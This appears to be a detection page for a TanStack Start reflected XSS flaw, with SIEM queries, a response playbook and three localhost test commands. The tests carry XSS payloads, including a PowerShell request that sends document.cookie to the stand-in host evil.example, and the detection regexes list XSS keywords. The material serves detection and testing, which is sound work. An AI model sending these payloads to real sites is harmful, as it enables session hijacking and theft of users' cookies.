Skip to content
CVE-2026-102989 Sumo Logic CSE · Sumo

Detect CVE-2026-102989: TanStack Start Server-Function Reflected XSS in Sumo Logic CSE

Detects exploitation attempts and exposure of CVE-2026-102989, an unauthenticated reflected cross-site scripting (XSS) vulnerability (CWE-79, CVSS 9.3) in TanStack Start server-function responses. Affected packages (@tanstack/start-server-core, @tanstack/react-start, @tanstack/solid-start, @tanstack/vue-start) between 1.143.12 and the fixed releases reflect attacker-controlled input from server-function invocations into HTML responses without proper encoding, allowing script injection via crafted requests to the server-function endpoint (typically paths containing _serverFn or the TanStack Start RPC route). This detection looks for XSS payload patterns in requests to server-function endpoints and for HTML responses that reflect those payloads.

MITRE ATT&CK

Tactic
Initial Access

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql
// df00tech DF00-abea8293b4 · https://df00tech.com/detections/CVE-2026-102989 · licence: https://df00tech.com/detections/licence
_sourceCategory=web/access ("_serverFn" OR "__tsr" OR "createServerFn")
| urldecode(url) as decoded_url
| where decoded_url matches /(?i)(<script|onerror=|onload=|javascript:|<svg|<img|document\.cookie|%3Cscript|onmouseover=)/
| where status matches /2\d\d/
| fields _messagetime, src_ip, host, url, decoded_url, status, user_agent
| sort by _messagetime desc
high severity medium confidence

Sumo Logic query for reflected XSS payloads against TanStack Start server-function endpoints with successful responses.

Data Sources

Web server access logsCDN/proxy logs

Required Tables

web/access

False Positives & Tuning

  • Authorized security scanning
  • Legitimate special-character payloads in server-function args
  • CI/CD smoke tests replaying payloads

Other platforms for CVE-2026-102989


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Reflected XSS probe against TanStack Start server-function endpoint

    Expected signal: Web access log entry for the _serverFn path containing the URL-encoded <script> payload with a 2xx response on vulnerable builds.

  2. Test 2 Event-handler XSS payload via server-function query

    Expected signal: Access log shows onerror= payload against the server-function route with a successful response.

  3. Test 3 Cookie-theft XSS payload simulation

    Expected signal: HTTP log entry on the __tsr route containing document.cookie and an external fetch in the decoded payload.


Response Playbook

Triage

  1. Confirm the target application uses TanStack Start (@tanstack/start-server-core, @tanstack/react-start, @tanstack/solid-start or @tanstack/vue-start) and determine its version via package-lock.json/package.json or the deployed build; compare against the fixed versions (>=1.169.39, >=1.168.60, >=1.168.57, >=1.168.56 per package line).
  2. Decode the matched request URL/query and determine whether the XSS payload was reflected verbatim in the HTML response body (fetch the response or review proxy response-body logs if captured).
  3. Identify the source IP, user agent and whether the request was authenticated; this vuln is unauthenticated so anonymous requests reflecting payloads are high priority.
  4. Check for a cluster of varied payloads from the same source, indicating active probing rather than a single benign hit.

Containment

  1. Deploy a WAF rule to block requests to server-function endpoints (_serverFn/__tsr) containing HTML/script metacharacters as an immediate mitigation.
  2. Upgrade the affected @tanstack/*-start package to the fixed release (release-2026-09-30-1747 or later matching your framework line) and redeploy.

Evidence Collection

  1. Preserve raw web/proxy access logs including full request URL, query, response code and (if available) response body for the implicated time window.
  2. Capture the deployed package version and lockfile, and export the matching SIEM events and source IP enrichment (geo/ASN/threat intel).

Escalation Criteria

  • !Escalate to incident response if the payload is confirmed reflected in a 2xx HTML response AND targets session/credential theft (document.cookie, fetch to external host).
  • !Escalate if exploitation requests correlate with subsequent anomalous authenticated activity from victim accounts, suggesting successful session hijack.

Investigation Guide

Forensic Artifacts

  • >Web/proxy access logs with reflected payloads
  • >Deployed node_modules/package-lock.json showing vulnerable @tanstack/*-start version
  • >WAF event logs
  • >Browser/CDN response-body captures showing injected markup

Tuning Guidance

Baseline legitimate server-function argument shapes for your app; many TanStack Start RPC payloads are JSON and rarely contain raw < or script tokens, so angle brackets are a strong signal. Exclude known authorized scanner source IPs. If your app legitimately accepts rich-text/HTML through server functions, narrow the regex to script/event-handler patterns and correlate with reflection in the response body to cut false positives. Prioritize unauthenticated requests and responses with Content-Type text/html.


Hunting Queries

Aggregates XSS probing against server-function endpoints by source IP to surface scanning or exploitation campaigns.

Hunting — KQL
kql
// df00tech DF00-abea8293b4 · https://df00tech.com/detections/CVE-2026-102989 · licence: https://df00tech.com/detections/licence
AppServiceHTTPLogs | where CsUriStem has_any ("_serverFn","__tsr") | extend d=url_decode(CsUriQuery) | where d has_any ("<script","onerror=","javascript:","%3Cscript") | summarize count(), make_set(d) by CIp, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-abea8293b4 · https://df00tech.com/detections/CVE-2026-102989 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*_serverFn*" OR uri_path="*__tsr*") | eval d=urldecode(uri_query) | where match(d,"(?i)(<script|onerror=|javascript:|%3Cscript)") | stats count values(d) by clientip

Atomic Red Team Tests

Test 1 Reflected XSS probe against TanStack Start server-function endpoint
linux

Sends a GET request with a script payload to a server-function route to verify detection on vulnerable (pre-fix) instances.

Command

bash
curl -s -k 'https://localhost:3000/_serverFn/getData?input=%3Cscript%3Ealert(document.domain)%3C/script%3E' -H 'User-Agent: atomic-xss-test'

Cleanup

bash
echo 'No cleanup required; stateless GET request'

Expected Telemetry

Web access log entry for the _serverFn path containing the URL-encoded <script> payload with a 2xx response on vulnerable builds.

Expected Detection

KQL/SPL rules fire on the decoded <script payload against the server-function endpoint.

Test 2 Event-handler XSS payload via server-function query
linux

Tests an img/onerror based payload to confirm detection of non-script XSS vectors.

Command

bash
curl -s -k "https://localhost:3000/_serverFn/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" -H 'User-Agent: atomic-xss-test'

Cleanup

bash
echo 'No cleanup required'

Expected Telemetry

Access log shows onerror= payload against the server-function route with a successful response.

Expected Detection

Detection matches the onerror= and <img patterns in the decoded query.

Test 3 Cookie-theft XSS payload simulation
windows

Simulates a credential-theft payload referencing document.cookie to validate high-severity escalation logic.

Command

powershell
powershell -Command "Invoke-WebRequest -UseBasicParsing -Uri 'https://localhost:3000/__tsr?fn=profile&name=%3Cscript%3Efetch(%27//evil.example/%27+document.cookie)%3C/script%3E' -Headers @{'User-Agent'='atomic-xss-test'}"

Cleanup

powershell
Remove-Item Env:\NONE -ErrorAction SilentlyContinue; Write-Host 'No cleanup required'

Expected Telemetry

HTTP log entry on the __tsr route containing document.cookie and an external fetch in the decoded payload.

Expected Detection

Detection fires and triage flags document.cookie exfiltration for escalation.

Related Detections